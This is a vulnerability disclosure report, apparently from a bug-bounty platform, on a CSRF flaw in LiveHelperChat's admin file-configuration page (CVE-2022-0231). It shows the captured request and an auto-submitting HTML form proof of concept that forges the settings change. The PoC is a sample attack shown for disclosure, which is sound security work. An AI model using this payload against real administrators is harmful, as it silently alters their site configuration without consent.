Cross-Site Request Forgery (CSRF) in livehelperchat/livehelperchat

0

Valid Reported on Jan 14th 2022

Description

A CSRF issue is found in the Settings>Live help configuration>File Configuration. It was found that no CSRF token validation is getting done as no CSRF token is getting passed with the request.

Proof of Concept

Actual Request

```
POST /site_admin/file/configuration HTTP/1.1
Host: demo.livehelperchat.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/201001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 395
Origin: https://demo.livehelperchat.com
Connection: close
Referer: https://demo.livehelperchat.com/site_admin/file/configuration
Cookie: _ga=GA1.2.1494213889.1641981022; __gads=ID=78426d0da5021990-22e07ac
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

ActiveFileUploadUser=on&ActiveFileUploadAdmin=on&AllowedFileTypes=gif%7Cjpe
```

You can see that NO CSRF token is getting sent along with the request.

Attacker's POC

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.livehelperchat.com/site_admin/file/configura
      <input type="hidden" name="ActiveFileUploadUser" value="on" />
      <input type="hidden" name="ActiveFileUploadAdmin" value="on" />
      <input type="hidden" name="AllowedFileTypes" value="gif&#124;jpe&#63;
      <input type="hidden" name="AllowedFileTypesUser" value="gif&#124;jpe&
      <input type="hidden" name="MaximumFileSize" value="2048" />
      <input type="hidden" name="ClamAVSocketPath" value="&#47;var&#47;run&
      <input type="hidden" name="ClamAVSocketLength" value="20000" />
      <input type="hidden" name="soundMessagesOp" value="on" />
      <input type="hidden" name="soundLength" value="30" />
      <input type="hidden" name="mdays&#95;older" value="" />
      <input type="hidden" name="mdays&#95;older&#95;visitor" value="" />
      <input type="hidden" name="StoreFileConfiguration" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

Impact

This vulnerability can help an attacker to change the admin file configuration settings.

CVE
CVE-2022-0231
(Published)

Vulnerability Type
CWE-352: Cross-Site Request Forgery (CSRF)

Severity

Medium (5.7)

Visibility
Public

Status
Fixed

Found by

shubh123-tri
@shubh123-tri
unranked

This report was seen 337 times.

We are processing your report and will contact the **livehelperchat** team within 24 hours. 10 months ago

shubh123-tri modified the report 10 months ago

Remigijus Kiminas validated this vulnerability 10 months ago

shubh123-tri has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Remigijus Kiminas marked this as fixed with commit **6ad134** 10 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

Jamie Slome 10 months ago Admin

@maintainer - can you confirm the version of the package that addresses this

Sign in to join this conversation